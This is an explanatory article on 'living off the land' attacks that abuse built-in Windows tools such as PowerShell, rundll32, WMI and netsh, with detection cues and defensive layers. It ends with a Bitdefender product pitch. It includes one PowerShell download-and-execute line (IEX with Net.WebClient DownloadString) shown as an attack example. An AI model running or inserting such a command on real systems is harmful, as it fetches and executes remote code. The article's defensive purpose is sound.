Living off the Land
Why attackers increasingly bring no malware of their own — and what that means for any defence strategy that looks for files.
Contents
1. What Living off the Land means
“Living off the land” describes an attack technique that brings not a single line of foreign code onto the target system. The attacker uses only the tools that are already installed there: the built-in Windows utilities that every administrator works with every day.
These programs are digitally signed, they ship with the operating system, and they behave inconspicuously — they do exactly what they were designed to do. Just on behalf of someone else.
The number that explains it: in Bitdefender’s research, native system tools were the entry point in 84 percent of all significant security breaches. The figure comes from the vendor and cannot be verified independently — but it shows the scale of the problem.
The term LOLBins (Living Off the Land Binaries) refers to the actual programs. A public collection with several hundred entries is maintained by the LOLBAS project — including the command lines that turn each one into an attack tool.
2. Why it works
Classic antivirus strategies answer one question: where did this file come from? Known to be malicious, it gets blocked. Unknown, it gets watched. Signed and from Microsoft, it may run.
LOTL never has to answer that question. The filepowershell.exeis signed, known and legal. That it is currently executing an encoded command that connects to a foreign server is not written in the file — it is written in its arguments.
That is the weakness: a file’s origin says nothing about its execution context. Anyone who checks only the origin lets the attack through, because the file is trustworthy. And the attacker stays invisible, having smuggled nothing in that could be found.
Example: the same command, two intentions
# Administration: run a script on a server
Invoke-Command -ComputerName SRV01 -FilePath .\Maintenance.ps1
# Attack: download a command and execute it
IEX (New-Object Net.WebClient).DownloadString('http://…')Both lines call PowerShell. The first is daily work, the second is a complete attack. A tool that searches for files sees the same thing in both cases.
3. The four most abused tools
Each of these programs has a legitimate job. The attack does not consist of replacing them — but of using them differently.
PowerShell
T1059.001Legitimate: automation, configuration management, rolling out software across many machines. PowerShell is indispensable in Windows administration.
Abused: as a loader for foreign code. The-EncodedCommandparameter allows the actual command to be passed base64-encoded — the log then contains a string no human reads.IEX(Invoke-Expression) executes arbitrary text as a command.
What to watch for: PowerShell started by an Office application. Encoded commands. Outbound connections immediately after launch.
rundll32.exe
T1218.011Legitimate: the interface between the Windows shell and function libraries (DLLs). It is called when Windows needs to run a function from a DLL for which no standalone program exists.
Abused: as an execution path for libraries that were never meant to be executed. Because rundll32 is signed and part of the system, the call is considered trustworthy — even when the loaded DLL comes from a user directory.
What to watch for: rundll32 with a DLL path outsideC:\Windows, especially from %TEMP%,C:\Users\Publicor download folders.
WMI / WMIC
T1047Legitimate: querying system information, inventory, remote management. Tools such as Lansweeper or SCCM are built on it.
Abused: WMI can launch programs on other machines — exactly what an attacker needs for lateral movement. The call runs through a system service, not through a visible logon.
What to watch for: a process started bywmiprvse.exeas its parent — normal during administration, not normal for an Office document.
netsh.exe
T1562.004Legitimate: network and firewall configuration. An administrator changes rules with it without opening the graphical console.
Abused: a single command turns off the local Windows firewall — no admin console, no confirmation prompt, no event a human would notice.
What to watch for: any netsh call that modifies the firewall. In normal operations that happens rarely, if ever.
4. How to recognise a LOTL attack
When the file does not reveal what it does, behaviour has to be examined. Four questions usually lead somewhere:
Who started it?
A PowerShell process whose parent is Word, Excel or Outlook is almost never up to anything good. In administration, PowerShell starts from a terminal or a management tool.
With which arguments?
Encoded commands, hidden windows, bypassing the execution policy — these parameters have little reason to appear in daily work.
Where does the connection go?
A system tool that opens a connection to an unknown address immediately after launch is conspicuous.
What happens next?
Someone who changes a firewall rule and then installs new services is rarely doing something good.
Evaluating this requires logs that can deliver it: process creation including the full command line, parent-child relationships, network connections. Without that data, only the question of file origin remains — and with LOTL that question answers nothing.
5. What actually helps
Three layers, from general to specific:
Turn on logging
PowerShell script block logging, the full command line in process events, Sysmon or an EDR solution. Without this data there is nothing to respond to. It is the prerequisite, not the solution.
Limit privileges
A user account without local administrator rights cannot change firewall rules or install services. That does not stop the initial entry, but it takes away the tools for everything that follows.
Close the attack surface
The most effective approach: simply make unavailable the tools nobody needs. On a normal office machine, no one will ever call WMIC. Block the tool and the attack path is gone — without any detection having to fire.
That is what Dynamic Attack Surface Reduction (DASR) does: it learns how individual users work and restricts the unused tools and actions — per user and endpoint. This can be rebuilt manually with allowlists; the effort grows with every application the company runs.
A widespread path in this direction:the attacker gets the victim to execute the command themselves — through a fake error message that offers a keyboard shortcut to copy. The technique is called ClickFix and accounts for a large share of observed attacks. It only works because PowerShell is executable afterwards.
Bitdefender GravityZone PHASR works at exactly this layer.Product page and licensing →
6. Conclusion
LOTL is not a new technique and not a tool you could install. It is the consequence of attackers looking where nobody looks.
Defence therefore shifts: from the question “is this file malicious?” to “should this program be doing this right now?”That is less convenient, because it requires context — and it is more effective, because it targets the attack rather than its packaging.
Anyone who only looks for files today is checking the origin of something that never arrived.
Sources and further reading
- 84 percent figure: Bitdefender, “The most abused tools” (eBook on living-off-the-land attacks). A vendor statement, not independently verified.
- LOLBAS project: a public collection of abusable Windows binaries with command-line examples.
- MITRE ATT&CK: techniques T1059.001 (PowerShell), T1218.011 (Rundll32), T1047 (WMI), T1562.004 (Firewall modification).